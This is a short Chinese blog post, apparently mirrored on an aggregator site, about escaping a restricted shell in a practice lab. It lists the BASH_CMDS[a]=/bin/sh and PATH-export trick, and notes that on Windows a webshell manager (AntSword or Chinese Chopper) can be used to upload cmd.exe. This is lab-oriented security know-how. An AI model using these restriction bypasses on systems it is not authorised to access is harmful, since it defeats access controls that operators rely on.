runxinzhi.com
首页
百度搜索
小记如何绕过受限的shell
今天的靶场登陆ssh后发现shell受限,如下
woami都执行不了,查看对应的bin目录,发现只能执行4个命令
在网上学到一招可以绕过这种受限制的被阉割的shell
BASH_CMDS[a]=/bin/sh;a #把/bin/bash给a变量
/bin/bash
echo $0 #查看脚本本身的名字
echo $? #命令执行结果反馈,0代表执行成功,其余数字表示不成功
export PATH=$PATH:/bin/ #将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin #将/usr/bin作为PATH环境变量导出
执行完上面加粗的四步之后就可以执行所有命令了
Windows中如果遇到此类情形
1.找到一处可上传文件的位置上传cmd
2.蚁剑可以自定义cmd的环境变量
使用菜刀同样上传cmd文件
设置cmd环境变量 终端输入 set cmd文件的物理地址
相关阅读:
Thread中带参方法无法使用之解决方案
项目相关的风险要素及分类
AspNetPager分页示例之DataGrid(PostBack分页)
Substitution 类 (asp.net 2.0 )
自定义HTTP处理程序显示图片(asp.net 2.0)
常见文件扩展名和它们的说明
基于.NET的开源GIS项目(转)
项目开发流程标准
AOP(Aspect Oriented Programming) 面向方面编程
项目实施及管理标准
原文地址:https://www.cnblogs.com/sup3rman/p/12392161.html
最新文章
关于WEB服务器硬件配置,你了解多少
js导出HTML的Table到Excel中
十四个很准的心理暗示
Wamp5 配置PHP 图文详解(转)
学会这十九招就会成为股市高手
如何进行服务器选购[转]
专业操盘手九个买卖法则
判别股票下跌前的逃命信号
买入股票后必须遵守的八项原则
如何抓住强势股
热门文章
Spring.NET学习笔记5——容器中对象的作用域(基础篇) Level 200
Spring.NET学习笔记2——环境搭建(基础篇) Level 200
Spring.NET学习笔记6——依赖注入(应用篇) Level 300
Spring.NET学习笔记9——打造简易的依赖注入框架(练习篇) Level 100
Spring.NET企业架构实践之 JQuery + FlexiGrid + ASP.NET MVC + NVelocity + WCF + LINQ + NHibernate 综合应用
Spring.NET学习笔记7——依赖对象的注入(基础篇) Level 200
Spring.NET学习笔记1——控制反转(基础篇) Level 200
Spring.NET学习笔记4——对象的创建(基础篇) Level 200
Spring.NET学习笔记3——实现一个简易的IoC框架(练习篇) Level 100
Spring.NET学习笔记8——集合类型的注入(基础篇) Level 200
Copyright © 2020-2023
润新知